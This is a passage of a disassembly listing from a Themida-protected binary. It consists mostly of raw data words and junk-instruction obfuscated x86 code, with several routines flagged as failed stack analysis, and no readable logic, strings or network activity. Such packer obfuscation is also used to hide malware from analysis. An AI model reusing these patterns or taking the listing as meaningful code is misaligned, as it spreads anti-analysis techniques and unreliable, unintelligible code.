		dd 0E04C0000h, 1BFC6EC4h, 0C4B3C77Ch, 0B3EE2793h, 998CB966h
		dd 0EE8h, 0EEBB8C00h, 612D2EFFh, 44CE633Ah, 59313712h
		dd 0BE9h, 0C1EB8000h, 23544725h, 70E2AF2Bh, 0DE9h, 66D83900h
		dd 6421D6ABh, 0DBAFDA73h, 8B664F3Fh, 9EF281C2h,	0F796E58h
		dd 485h, 51BB6600h, 6E927h, 0EF580000h,	205FD20Eh, 97C18166h
		dd 0F16EB886h, 0C0800BCCh, 7060BA79h, 8D0F6347h, 3, 0FFA8B66h
		dd 14E9CFBFh, 0D9000000h, 0D7905C7Bh, 8065A1h, 9AA63082h
		dd 7AE0224Dh, 66B2E6F3h, 605361BBh, 12E9h, 76862800h, 12B0EC73h
		dd 4C0B3ECBh, 0C7ECF8CAh, 0F8E2C23h, 28Bh, 61616000h, 830Fh
		dd 0F0800000h, 0F9FE8BD6h, 0AE9h, 96D52A00h, 0D87BE5B3h
		dd 60E4DE88h, 0FF2B70Fh, 8B61DEBFh, 0DFBF0FCAh,	0F8C3BF0Fh
		dd 0EE8h, 0C6B7EA00h, 92B15B3h,	34F7B93Eh, 8AC8A42Fh, 616058E1h
		dd 0E9B7BF66h, 0C8A0Fh,	7E90000h, 99000000h, 9459A0AFh
		dd 39B48464h, 0BFB102B1h, 0CE8h, 16E89300h, 6E7338FAh
		dd 700EB31h, 95B260A0h,	0EE9h, 0C3B3F400h, 0EE7123FAh
		dd 6BE94995h, 61F7ADCAh, 76B0BF5Bh, 890F5E77h, 3, 0FFEBF0Fh
		dd 7BBAD2B7h, 0E9567E85h, 14h, 27AB5D4Fh, 9D123A36h, 1D770E8h
		dd 2CAAEDA7h, 44DB8667h, 0F9B4F88Bh, 0EC03C4B9h, 9800F71h
		dd 0F000000h, 38Dh, 0F08B6600h,	0D9F1BB66h, 88A0Fh, 8C0F0000h
		dd 2, 0B8666160h, 98BA9782h, 5705F25Ah,	66BB665Eh, 8A0DB4B6h
		dd 67B866E6h, 0DE93Eh, 0D2670000h, 89617AFEh, 0CBC6FF96h
		dd 0FD2F4E2h, 88Ah, 28B0F00h, 53000000h, 198E0F5Bh, 0E9000000h
		dd 14h,	0A6E69FF9h, 77BE5EE0h, 664AE052h, 6325A575h, 0D3F837E3h
		dd 0F9D7BF0Fh, 0BE8h, 0F5DD1E00h, 9B9D971Bh, 7FBD0C2Dh
		dd 0CE960h, 0EEB40000h,	8ED512A2h, 1676430Eh, 0CB8B5C88h
		dd 0C38B5961h, 0F05EE281h, 81F80D7Ah, 23A558C8h, 8166507Ah
		dd 5BB2BDEEh, 0B6CA8166h, 0E88166C5h, 0BF0FEDC2h, 4820FCBh
		dd 66000000h, 0E9DEAEBAh, 0Ah, 0AD9E6804h, 7539DF43h, 0BF66EE8Eh
		dd 0D8BB82E6h, 0E926192Ch, 0Fh,	0A4AF5D6Bh, 61DDF248h
		dd 767AB50Ah, 8BDD303Fh, 0BF0F53FEh, 0DF805BF1h, 0EB81669Fh
		dd 8166225Fh, 0F19A7C9h, 0D68BD1B7h, 0EE95057h,	61000000h
		dd 0DC71413Eh, 9CC2CF50h, 681EDB70h, 0E8585E28h, 0Dh, 3C666312h
		dd 27110199h, 0FBEA64Ch, 0DE97Ah, 1D220000h, 4B09DEE7h
		dd 69C4B1FEh, 580BB2CEh, 8B36EC80h, 870FF8C2h, 3, 8BDE8B66h
		dd 0F7CB81FAh, 0E9312A18h, 11h,	8BA51BB3h, 69A1B392h, 0DB5EC7A1h
		dd 4CD976FCh, 0FD98B30h, 0B70FD7B7h, 0BAC38BFEh, 37720C36h
		dd 0EE953h, 0CB3A0000h,	91F5B3A6h, 178DF97Dh, 1679177Eh
		dd 5E85Eh, 14AC0000h, 801AF25Fh, 0E9586ADCh, 9,	0D875BBC9h
		dd 983BCDF2h, 0C754B830h, 5F560110h, 6E9h, 0D655C500h
		dd 0BE78EC9Bh, 119A039Eh, 16850Fh, 11E90000h, 7B000000h
		dd 0ECC95FB1h, 722EEAC6h, 0CBE05984h, 0A1B185F4h, 66B2CF80h
		dd 7FEEF381h, 8E8h, 0F6363B00h,	31C0EB71h, 5ECF8B25h, 0ED07CAB9h
		dd 0BF11BF53h, 0D08B6B8Ch, 3C99F281h, 9E849BCh,	5C000000h
		dd 9E4B693Bh, 6A9FCDAEh, 585FF956h, 0F9B70FF9h,	0F8BF0FFCh
		dd 0D5DCB966h, 0CE9h, 0D9941C00h, 94768102h, 1838897Bh
		dd 89B6F955h, 11E9h, 0C82F2800h, 0ACA07C26h, 962B5C64h
		dd 4C9FDFB9h, 0DE855BEh, 94000000h, 0B3120845h,	5A9E9F21h
		dd 318D9B3Dh, 56DB815Eh, 661159D3h, 60B8F78Bh, 0F2C7E15h
		dd 283h, 0FC35B100h, 0E8A0F60h,	0E8000000h, 8, 4FA8AD7h
		dd 427A99F7h, 6151B05Bh, 0FF14D381h, 0FE8A0B69h, 0A7DDBF66h
		dd 0B70FF08Bh, 58B0FCFh, 0BA000000h, 4B90F50Fh,	0C9816060h
		dd 7824B76Dh, 7E8h, 7CE84900h, 0E90ED482h, 8B66615Eh, 0C08061C3h
		dd 3840F00h, 0F000000h,	810FDABFh, 0Fh,	9E8h, 0FD84D600h
		dd 4D6D13C0h, 815B212Bh, 0EB16EFEBh, 8AC28139h,	0F12D6BEh
		dd 9E9D3BFh, 0B9000000h, 7A8B22Dh, 0B5F0F4D8h, 0FE9h, 0D6ECF900h
		dd 8870F32Ch, 0B3D5C9E6h, 94F932D2h, 8BF08B66h,	0DE8166C6h
		dd 58BE5D95h, 66679DB9h, 0A5B2CB8Bh, 0C4614FBFh, 0EE6EBF17h
		dd 13E810E3h, 54000000h, 0B8DA0248h
		dd 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h, 5F51942Bh, 0C881665Fh
		dd 66601521h, 26C0D081h, 880Fh,	60610000h, 0CE852F9h, 36000000h
		dd 7A14697Ah, 62EA22BFh, 5E4C9D8Eh, 8B666158h, 5AB966F1h
		dd 0F08B662Bh, 39F78166h, 0FE9608Fh, 0BE000000h, 745FC61Bh
		dd 22EA62EEh, 82DA6C67h, 81662492h, 613ADAC9h, 9194EE81h
		dd 0E38A3EF3h, 2448BA66h, 0EE960h, 0D3FD0000h, 9EC092E6h
		dd 9A4FB6B5h, 7B68B72Ch, 81E2B161h, 0A8D0B6DFh,	5820F00h
		dd 0B9000000h, 0B281FA8h, 9E9h,	7DBFFB00h, 55BBC47h, 0FE9EB8Dh
		dd 0D1000000h, 0D7A44CADh, 0FE752945h, 961F40BBh, 66F9D4C5h
		dd 0FE9CA8Bh, 90000000h, 9EA1EEC5h, 0E9BA49A4h,	0BD7F6A66h
		dd 850FE7A0h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D22BF
; ---------------------------------------------------------------------------
		db 0A8h, 0, 1Ah
		dd 0C63317E8h
		db 27h,	2Bh, 0B3h
; ---------------------------------------------------------------------------


loc_5D22BF:				; CODE XREF: Themida_:005D22B0j
		sub	edx, 5FB40EF7h
		jmp	loc_5D22D1
; ---------------------------------------------------------------------------
		dw 3731h
		dd 0F710E506h
; ---------------------------------------------------------------------------
		push	ebp


loc_5D22D1:				; CODE XREF: Themida_:005D22C5j
		cmc
		xor	si, 2439h
		jmp	loc_5D22E2
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	ds:0A97C2514h, al


loc_5D22E2:				; CODE XREF: Themida_:005D22D7j
		adc	cl, 35h
		mov	ecx, esi
		jmp	loc_5D22F2
; ---------------------------------------------------------------------------
		sub	[edx+61h], ch
		cdq
		cmp	al, 0FAh


loc_5D22F2:				; CODE XREF: Themida_:005D22E7j
		movzx	ebx, ax
		mov	cx, si
		jmp	loc_5D2308
; ---------------------------------------------------------------------------
		db 0A1h, 0E6h, 0
		dd 725CFDE8h, 0D6F8C4BAh
; ---------------------------------------------------------------------------


loc_5D2308:				; CODE XREF: Themida_:005D22F8j
		adc	bx, 38E5h
		mov	dl, bl
		jmp	loc_5D231D
; ---------------------------------------------------------------------------
		dd 85E1BCF5h, 2CF424DCh
		db 9
; ---------------------------------------------------------------------------


loc_5D231D:				; CODE XREF: Themida_:005D230Fj
		jbe	$+6
		mov	esi, 3ECCE7F6h
		mov	cx, 1F8h
		mov	bx, dx
		mov	al, 0A1h
		sbb	si, 89DEh
		push	edx
		mov	ecx, eax
		pop	ebx
		add	bh, 0FFh
		mov	si, ax
		push	esi
		movzx	edx, bx
		pop	edi
		jp	loc_5D234D
		mov	ch, 0B5h


loc_5D234D:				; CODE XREF: Themida_:005D2345j
		pusha
		adc	bl, 0F2h
		popa
		mov	edi, 5F226468h
		mov	dx, di
		mov	edi, 34705D77h
		ja	loc_5D2384
		call	sub_5D237E
; ---------------------------------------------------------------------------
		dw 0B905h
		dd 49135C2Ch, 307AF74Fh, 0EF8E244Eh, 4F86E3E4h
; ---------------------------------------------------------------------------
		push	1Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D237E	proc near		; CODE XREF: Themida_:005D2365p
		mov	eax, 67EDA639h
		pop	edx


loc_5D2384:				; CODE XREF: Themida_:005D235Fj
		mov	cx, 41AAh
		mov	esi, eax
		mov	cx, si
		call	loc_5D239A
		db	2Eh
		jmp	near ptr 0D7DD95EAh
sub_5D237E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0D1h, 70h
; ---------------------------------------------------------------------------


loc_5D239A:				; CODE XREF: sub_5D237E+Fp
		sub	ax, 0A48Ah
		pop	edx
		movsx	edx, si
		mov	ecx, edi
		jnz	$+6
		pusha
		pusha
		adc	di, 7B09h
		mov	di, 0DF73h
		popa
		mov	esi, ecx
		popa
		mov	eax, 1729496Ch
		sub	cx, 8BC6h
		xor	esi, 6367DD74h
		pusha
		or	ch, 6Bh
		mov	eax, esi
		popa
		jo	loc_5D23DA
		movzx	ebx, si


loc_5D23DA:				; CODE XREF: Themida_:005D23D1j
		mov	dx, 2B89h
		mov	edi, edx
		jo	loc_5D240E
		pusha
		call	sub_5D23FE
		sub	al, 0
; ---------------------------------------------------------------------------
		dw 98FEh
		dd 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h
		db 0B9h, 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_5D23FE	proc near		; CODE XREF: Themida_:005D23E7p

; FUNCTION CHUNK AT 005D2423 SIZE 0000000E BYTES

		pop	edi
		call	loc_5D240C
		js	short loc_5D2423
		mov	ch, 0F3h
		sub	ebx, edi
		adc	ebp, esi
sub_5D23FE	endp ; sp-analysis failed



loc_5D240C:				; CODE XREF: sub_5D23FE+1p
		pop	edx
		popa


loc_5D240E:				; CODE XREF: Themida_:005D23E0j
		mov	ecx, edi
		movsx	edx, di
		mov	ebx, edi
		jz	$+6
		cmc
		jmp	near ptr loc_5D242B+3
; ---------------------------------------------------------------------------
		sbb	ch, ah
; START	OF FUNCTION CHUNK FOR sub_5D23FE


loc_5D2423:				; CODE XREF: sub_5D23FE+6j
		xor	ah, [edx-78F7BF12h]
		db	26h
		inc	ecx


loc_5D242B:				; CODE XREF: Themida_:005D241Cj
		mov	[esi+28E0FABh],	esi
; END OF FUNCTION CHUNK	FOR sub_5D23FE
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	ch, 6Bh
		mov	ecx, esi
		sub	edx, 1638112Ah
		pusha
		jl	loc_5D244F
		jmp	loc_5D244F
; ---------------------------------------------------------------------------
		cli
		inc	edx
		mov	esp, [ecx]
		pop	es


loc_5D244F:				; CODE XREF: Themida_:005D243Fj
					; Themida_:005D2445j
		call	sub_5D2459
		lodsd
		inc	ebp
		mov	bh, 0Bh
		aaa

; =============== S U B	R O U T	I N E =======================================



sub_5D2459	proc near		; CODE XREF: Themida_:loc_5D244Fp
		movsx	eax, si
		pop	edi
		popa
		pusha
		jmp	loc_5D2469
; ---------------------------------------------------------------------------
		rcl	dl, 1
		popa
		icebp
		scasb


loc_5D2469:				; CODE XREF: sub_5D2459+6j
		call	sub_5D247F
		pop	ss
		mov	dword ptr [ecx+esi], 4AC833C1h
		pop	esi
		pusha
		xlat
		mov	cl, 63h
		cmovns	esp, [ebx-19h]
sub_5D2459	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D247F	proc near		; CODE XREF: sub_5D2459:loc_5D2469p
					; sub_5D247F+64j
		adc	ebx, 0F8983D2h
		pop	esi
		popa
		mov	dx, 1767h
		jnp	loc_5D2497
		push	eax
		mov	bx, 0C339h
		pop	edi


loc_5D2497:				; CODE XREF: sub_5D247F+Cj
		jo	loc_5D24AD
		jmp	loc_5D24AD
; ---------------------------------------------------------------------------
		dw 0D245h
		dd 18DC3984h, 25B494E9h
		db 0DCh
; ---------------------------------------------------------------------------


loc_5D24AD:				; CODE XREF: sub_5D247F:loc_5D2497j
					; sub_5D247F+1Ej
		jmp	loc_5D24C5
; ---------------------------------------------------------------------------
		dw 1643h
		dd 494A65B3h, 67AE5D0h,	70AB3802h, 9E2BA430h
		db 8Eh
; ---------------------------------------------------------------------------


loc_5D24C5:				; CODE XREF: sub_5D247F:loc_5D24ADj
		push	esi
		mov	eax, 837C89h
		pop	esi
		or	cx, 0B2AFh
		mov	dx, 0B6E6h
		pusha
		mov	esi, 25C7CE0Bh
		mov	cl, 0A8h
		popa
		call	near ptr loc_5D24ED+3
		jnb	short near ptr sub_5D247F+4
		mov	byte ptr [ecx+esi*8-7EBB2CE5h],	20h


loc_5D24ED:				; CODE XREF: sub_5D247F+5Fp
		test	eax, 0EB8158EBh
sub_5D247F	endp ; sp-analysis failed

		xchg	eax, ecx
		mov	ds:815E6F82h, al
		fiadd	word ptr [eax+0F3863F6h]
		mov	[edx], eax
; ---------------------------------------------------------------------------
		dd 0B6000000h, 66E58AA0h, 0F9F5F78Bh, 8E8h, 63526000h
		dd 45FAD526h, 0AE91Eh, 0ECE10000h, 110B099Eh, 0F1949409h
		dd 0FFBF0F5Eh, 0CE9h, 0B4296200h, 0B952A6F8h, 5D62D3h
		dd 0DE05BEF9h, 10E9196Ch, 8000000h, 6B29C3B8h, 0D1E7368Ah
		dd 0FE7BD3E0h, 0E9406561h, 11h,	0BCF13FBDh, 0F875DBDDh
		dd 2EE38C81h, 2B1E5C49h, 0F3816698h, 0F58A20A7h, 0E9FFE680h
		dd 5, 8AA2361Fh, 0BF6660C7h, 12E89F89h,	7C000000h, 0DDCAFB61h
		dd 0F6B71A89h, 0E36A92C0h, 199199ACh, 0C1BF0F52h, 8B666158h
		dd 8B6660D9h, 61CB8BD9h, 18B96660h, 6164B567h, 58A0Fh
		dd 26BE0000h, 6008AA5Fh, 0FD7B70Fh, 8Fh, 8B666100h, 14E9C8h
		dd 8D30000h, 3AD078A0h,	0D7163F6Ch, 0C72EB997h,	6EAD0BC5h
		dd 8B66CACBh, 8166F8F2h, 81BFD0E2h, 0F235ACE9h,	4962B85Fh
		dd 8A0F3DFFh, 5, 5B50F860h, 66C88B61h, 6660C78Bh, 0EE9D08Bh
		dd 33000000h, 8E637AF0h, 4685336Ch, 0C03821E2h,	8B6661C4h
		dd 84BF66F9h, 0E99AB94Ch, 8B666AD7h, 13E9D3h, 0CEA00000h
		dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 9E902h
		dd 0DA0C0000h, 28413722h, 53D15AFAh, 8B58DE8Bh,	0C8BF0FF2h
		dd 7E9h, 524A6400h, 0F0FC3D55h,	0FE9h, 8D2CF800h, 0EAC323ACh
		dd 62DC519h, 0BC65D5B3h, 68D0Fh, 0DE810000h, 19511577h
		dd 13840Fh, 0EE90000h, 48000000h, 96A85B41h, 0FAD9DC88h
		dd 64EC2771h, 98CF809Ch, 0BE66CB8Bh, 11E90374h,	0A9000000h
		dd 1139832Fh, 47D1648Fh, 5F4A2B40h, 0DB7AF828h,	0B866C5B2h
		dd 11E995DEh, 8D000000h, 0ECC46E3Ch, 5D13B0F3h,	0DA0D2587h
		dd 0B2EFACF9h, 148F0Fh,	0FE90000h, 0EA000000h, 0B1084A1Ah
		dd 0E747BEAEh, 5C5462A8h, 8D0F9EBBh, 0
		dd 0BE8h, 7E623A00h, 9F5F17B4h,	0BE5DC8CCh, 8DC88160h
		dd 0FC3E7A36h, 2B75F61h, 9D51DF81h, 0C5B75CFAh,	0CA8B6660h
		dd 6840Fh, 890F0000h, 0
		dd 8B0F5361h, 4, 0F902B966h, 0CBBA6658h, 6650B695h, 10EFD981h
		dd 10E8h, 8A1AAA00h, 9123DA2Fh,	76575DE3h, 0F458B092h
		dd 8B0F70h, 5A000000h, 271FE181h, 12E8525Bh, 0C5000000h
		dd 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h, 0F7815BB8h
		dd 38AB8E67h, 4840Fh, 0BA660000h, 0BF0F045Ch, 870F53F6h
		dd 2, 0FC5BF98Bh, 38C0Fh, 0B70F0000h, 0D9DA80FBh, 816658B2h
		dd 0B4873DD3h, 0DE918h,	0A3170000h, 396DE772h, 887CCE4Bh
		dd 57626E72h, 1DB0B966h, 0FBC1815Fh, 8B2B78AEh,	92DA81C7h
		dd 8B46A363h, 0C88B66DAh, 3800Fh, 0B70F0000h, 6E9F7h, 41150000h
		dd 929CC49Eh, 11E8h, 3F230800h,	9EBC5CC7h, 0C6B7EA59h
		dd 92B15B3h, 5AF5B93Eh,	44DB8166h, 0CF8166F1h, 810F4121h
		dd 9, 3860Fh, 0CC800000h, 6860F9Eh, 81000000h, 2092B4EAh
		dd 0A1CF8041h, 5810Fh, 2DBF0000h, 664F3CF1h, 0AE9DE8Bh
		dd 34000000h, 3E4396E5h, 0A8573F33h, 7DB96672h,	0F08B669Eh
		dd 0E9DA8B66h, 12h, 0A1AEEA46h,	0EF7C3DEh, 0A1B9702Ah
		dd 0C9222CF7h, 0BA60D549h, 5854A753h, 919425BEh, 810F6148h
		dd 1Dh,	13E8h, 1D987E00h, 1B998695h, 49E75E3Bh,	865CD10Bh
		dd 9D3E0532h, 0A913BB66h, 0C6B1605Eh, 5A0FBE66h, 9E85661h
		dd 0E3000000h, 19897A56h, 8B6E6DDAh, 5F5AFE8Ah,	6E9h, 88621400h
		dd 0FCD0B5E8h, 0EE9h, 7023AB00h, 38E267D8h, 62E760Bh, 80AD707Eh
		dd 0BF0FF3EAh, 6E9D2h, 56840000h, 316A98A5h, 38D0Fh, 0DB800000h
		dd 7E9F0h, 171D0000h, 0A28C0A0Eh, 13E8B8h, 0B61A0000h
		dd 0DA5E6486h, 37AAC6ACh, 0B4655D39h, 22040714h, 5FDF8BB1h
		dd 11E9h, 18D64000h, 8D2F53D3h,	1972FFDh, 866BC567h, 8F0F1607h
		dd 5, 0AC78166h, 0DBB70F6Eh, 6E9h, 0DC347600h, 806972C5h
		dd 0EE80BBC1h, 13E95Fh,	4A810000h, 359783CDh, 0E63F7C33h
		dd 2F28BCC6h, 0A07C26C8h, 0A9BB66ACh, 188C0F2Bh, 0E8000000h
		dd 12h,	22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 66591855h
		dd 60D8D2BFh, 0F52A0B1h, 615EF0BFh, 5BD9CB81h, 0B70F3E9Ah
		dd 860FCBh, 66000000h, 8B15EAB8h, 3820FD7h, 0F000000h
		dd 8B66F0BFh, 14E9FEh, 26E60000h, 0BA84E532h, 0E3296BE6h
		dd 60F61735h, 9FA87A3Fh, 0CA8B0C9Fh, 9E9h, 7E4E2A00h, 4822E508h
		dd 8BF86C30h, 0C7B70FCBh, 6E9h,	57156700h, 51E1577Eh, 1FC2F7BEh
		dd 0EA805868h, 8B0F607Eh, 3, 0FD1B70Fh,	583h, 9B33BB00h
		dd 0B46122EFh, 0DE914h,	3E1F0000h, 99AED277h, 8EBF973h
		dd 0F0D09C8h, 880FD3BFh, 2, 0DA8BF78Bh,	66CFBF0Fh, 0BE9F88Bh
		dd 53000000h, 7C4C45E0h, 77032C06h, 8A519181h, 8B6658CAh
		dd 4482BFF9h, 850F7643h, 0Ah, 5E9h, 0ADD47700h,	0BE96ED1h
		dd 8D000000h, 70D8532Eh, 6E81CA67h, 88BF1D37h, 56531176h
		dd 6E1BE66h, 0D88B665Fh, 0A44A8CBBh, 850F7Ch, 66000000h
		dd 66C177BFh, 6653D88Bh, 0F203E681h, 8865B959h,	0C38A3BB4h
		dd 0BE8h, 8F8D6100h, 0A00D3B00h, 29C4F1D7h, 6DBB6658h
		dd 8E91Bh, 5CFB0000h, 7E2E410h,	0D281D2F2h, 6031BDAAh
		dd 68D0F60h, 81000000h,	0CE1F2BC2h, 0C9816628h,	816173F3h
		dd 78BEBCD8h, 8E927h, 33160000h, 6617E597h, 8E92678h, 77000000h
		dd 467290D1h, 0FA98751h, 800FF2BFh, 5, 0E9E78166h, 23BB6663h
		dd 0C681667Dh, 3BBBB723h, 8B2B6201h, 0B9F88BC1h, 1EC1E68Fh
		dd 5267E580h, 12A2FBB9h, 8B0F5822h, 5, 0F3F18166h, 5050F89Ah
		dd 5FC6B70Fh, 10820F5Ah, 0E9000000h, 0Bh, 0EFC6AB36h, 0AE296CECh
		dd 816487E6h, 0B98AB2D7h, 41B9664Fh, 12E9F8EAh,	0A2000000h
		dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 0E2816675h
		dd 800FF480h, 3, 0B0F1BF0Fh, 9E8B7h, 90CA0000h,	0A47804D5h
		dd 0E876E8F3h, 5, 61C33025h, 820FF0h, 5E000000h, 0F78B6658h
		dd 14890Fh, 860F0000h, 0Eh, 9E9h, 0DC55EB00h, 2F884F14h
		dd 13E97AA8h, 8D000000h, 0D96B3666h, 323E60AFh,	537B966Dh
		dd 17810597h, 880F3962h, 4, 5A5F5151h, 2820F53h, 0B6000000h
		dd 806059F3h, 0BA6625F5h, 66612329h, 8BB457B9h,	0DEBF0FD8h
		dd 38D0Fh, 0B70F0000h, 5E9FAh, 0F6880000h, 66A90FC3h, 937EC381h
		dd 0E181FCFCh, 5B7B9D7Dh, 2BD78166h, 0CB81661Bh, 8B661F43h
		dd 0FB8BFCCEh, 0F75F580h, 28Ch,	0BFD98B00h, 0E956E5Ch
		dd 0B4E08166h, 0C8BF0FE0h, 0EE8h, 0F470AF00h, 822D09A8h
		dd 66C935Bh, 6666549Ch,	8A58C28Bh, 0CCE81F3h, 0BB3569CFh
		dd 13C22BE1h, 20E78166h, 0D08B6613h, 296A4FBEh,	0BE979h
		dd 5E640000h, 0AAC6ACDAh, 655D3937h, 0F1B70FB4h, 66F1BF0Fh
		dd 66D7F8B9h, 0A3F8CB81h, 58F0F60h, 0B8000000h,	5D04D7Ah
		dd 0E9615856h, 9, 0AB009F03h, 9033A958h, 5E1BB9C4h, 820F4004h
		dd 5, 7D7951BAh, 8C0F6021h, 6, 860Fh, 4BBE0000h, 61423264h
		dd 0D62FFBEh, 0C68BF85Ah, 5800Fh, 81660000h, 0BBEA7DC6h
		dd 42D17A9Ch, 0FD38B66h, 889h, 28E0F00h, 60000000h, 0E2816661h
		dd 0B866624Dh, 0F78BACC3h, 50FEB70Fh, 9BC98166h, 81665F4Ch
		dd 57591ADEh, 0F5FC18Bh, 48Fh, 8AB86600h, 1119BA41h, 81562EF3h
		dd 0D70A06DEh, 0A3BE5959h, 0E9788486h, 5, 30515947h, 10E95Fh
		dd 21C00000h, 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 5F5219CAh
		dd 610CB966h, 1800Fh, 0B1F80000h, 3820FCDh, 66000000h
		dd 0FF9D08Bh, 180h, 8E0FF800h, 5, 75D007B8h, 5E96Ch, 0C7460000h
		dd 8A46196Dh, 66CE8BDCh, 8B3683B8h, 66B866C2h, 4AB2BBDBh
		dd 0F60049Eh, 382h, 0C38B6600h,	0CA98BA66h, 0CE961h, 7C230000h
		dd 0D9B0198Fh, 480FDC76h, 0C4802C77h, 0DB816697h, 0B9668D76h
		dd 8B66EA47h, 0DA8B66F9h, 6830F50h, 0F000000h, 87h, 13E85F00h
		dd 0BD000000h, 62E3A099h, 0A6DE7A4Dh, 9424068h,	4B6A8AE7h
		dd 13E94721h, 34000000h, 6584FE54h, 0C5E47935h,	1DCF310Ah
		dd 4FF78A32h, 8B5E0855h, 11E8DAh, 24F40000h, 0B7E2348Ch
		dd 0C661414Eh, 99221C35h, 0E833E3FFh, 14h, 776B3423h, 275BB679h
		dd 0F8E7D7A6h, 0CD6BBAE3h, 0A906F31Ah, 36AF31BAh, 0F5E5B25h
		dd 38Ah, 0C2B70F00h, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h
		dd 59F28B09h, 81F0BF0Fh, 9F8644F1h, 0E9F8F54Ah,	8, 0FE15DCA4h
		dd 0A06BEF5Bh, 14E9F560h, 0A9000000h, 0F820EAB8h, 2A027882h
		dd 0A8BE291Ch, 0C2131F23h, 613FDDB8h, 5880Fh, 0F530000h
		dd 665BDFB7h, 0E969AEBEh, 10h, 0AA0B8CA9h, 0A8D2A15Ah
		dd 1D149AA7h, 1F2D54B9h, 0FE8h,	9F7AF400h, 4C2A5271h, 7B33BADBh
		dd 3CD4881Eh, 8B595DB2h, 81DE8BFAh, 8ACB9ADAh, 0EFEA815Ah
		dd 0E973530Ah, 14h, 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h
		dd 3A0AE4B8h, 1800Fh, 0B6F80000h, 0DF8166E7h, 0FF5ED35h
		dd 28Ch, 5707B700h, 56C38A59h, 28E0Fh, 61600000h, 2810F59h
		dd 8B000000h
		dd 0F18160D7h, 0CC8EBACh, 0F38B6653h, 10E9615Bh, 0A7000000h
		dd 890EB4C7h, 0EC67A255h, 9D39F7A4h, 0E900F2DDh, 0Ch, 0CA9E4FFAh
		dd 69AE62h, 6785FA15h, 8B600EB0h, 0DF8166CFh, 0F61D047h
		dd 850FCBBFh, 3, 0FCF78B66h, 0BB90DF80h, 46018D97h, 8173D480h
		dd 21DFC8D9h, 2EC88112h, 667262D5h, 8BA401B8h, 6056F9FAh
		dd 2D88166h, 8C0FD3h, 61000000h, 98BA665Ah, 0D9816604h
		dd 0DD80DF13h, 0DFBF0F7Ah, 0FE8h, 9DE72200h, 89037E6Bh
		dd 0E812A730h, 0C9F734DFh, 5FF18B66h, 3850Fh, 0F7800000h
		dd 10E93Dh, 0B3870000h,	0C867CE04h, 8179B86Eh, 33B47A03h
		dd 0CA8BA14Dh, 0AE8h, 0E90BA100h, 61C65535h, 6097241Dh
		dd 860F9CB5h, 0
		dd 0D3815E61h, 232C1466h, 0BE8h, 0D1122600h, 0A1DCF065h
		dd 1121EDBCh, 0E95833B5h, 10h, 4FC81E3Bh, 97AD6AFCh, 2DB35EAFh
		dd 0E1931E14h, 53EA8A60h, 0D001BE66h, 0BF0F615Bh, 0DE9CAh
		dd 0E1560000h, 35235E9Fh, 0E0029E57h, 532BC81Ah, 0BE8h
		dd 5A068200h, 2D019D95h, 0CAA85FCAh, 9E8h, 0F0075000h
		dd 750E44Eh, 5F5A4EF0h,	90BE665Ah, 66C78A2Bh, 3889DE81h
		dd 8AC0DE80h, 0B456F8FEh, 12E95F97h, 0BD000000h, 8F624516h
		dd 0B2A4892Fh, 0D7486F99h, 484FD4C9h, 0EE937h, 0C2550000h
		dd 571CF8DAh, 74B007Fh,	2D21B105h, 0AE9h, 0C4736E00h, 823B5FD3h
		dd 0F9BDEE9h, 88Bh, 28D0F00h, 56000000h, 870F59h, 57000000h
		dd 0F870Fh, 0AE90000h, 30000000h, 9E5B5FB3h, 193AB7BEh
		dd 3BBF59B5h, 0E818CD83h, 8, 615DDDB6h,	1248C48Ah, 48D0Fh
		dd 0BB660000h, 0F59D3C1h, 28Ah,	6697B000h, 666538B8h, 54F0DE81h
		dd 6784B960h, 8B501772h, 0F615EF2h, 8B66D7B7h, 8E853F9h
		dd 0E3000000h, 0A94F9B87h, 5A5B4148h, 5E858h, 8DED0000h
		dd 665C7F43h, 6659CB8Bh, 6646F2BFh, 0BA66C38Bh,	0F505AF4h
		dd 0F55AFABFh, 0E675BE66h, 6EB866F5h, 0FC18B331h, 66C78B66h
		dd 7B06D881h, 6682B1F8h, 3F6AD781h, 0A9DCBE66h,	7FEB5DBAh
		dd 13B86042h, 8B6C5306h, 816661F2h, 81EB0BF6h, 0BF28DCAh
		dd 0F38B6606h, 3DEA8166h, 21E1812Ah, 0FC64C218h, 0D68B3FB2h
		dd 6609B360h, 61F196B9h, 0B0B5D1BAh, 0B4FABA17h, 0E8F8542Ah
		dd 9, 588832DBh, 5B4A5F5Ch, 0B8F8585Bh,	77B87182h, 53F78166h
		dd 0DE9C6h, 30970000h, 46CA9AE5h, 7DB9779h, 0B2C0F715h
		dd 880F07h, 0E9000000h,	7, 4CF594F8h, 0B931FC8Ch, 61ABEC99h
		dd 0C381EA8Ah, 3C748A53h, 0E4C3C4B9h, 0D180F533h, 9E903h
		dd 8E540000h, 9308CC5Fh, 66ADBF2Bh, 1EA7E881h, 665FF856h
		dd 6694D1B8h, 81B3EEB8h, 3AFF36D2h, 8B66534Fh, 0B70F59F3h
		dd 14E9D2h, 33E30000h, 0F5763032h, 0CDA2CB06h, 9A6D4E6Bh
		dd 9763B9C2h, 0D8800715h, 7FC88119h, 0F09E919h,	1E89h
		dd 12E800h, 56120000h, 0B60C902Bh, 0A02E48D0h, 2444882Eh
		dd 9ACDEB5Ch, 870BE781h, 815E064Ch, 0B30CD1F2h,	0FE91Bh
		dd 0DDE20000h, 0A380BED1h, 30867A65h, 2FA7A37Ah, 3860FF1h
		dd 66000000h, 0EE81C88Bh, 49E70060h, 0FE9F5h, 0F52D0000h
		dd 486D64EBh, 18725AA5h, 977769AFh, 56E88159h, 5676F7EFh
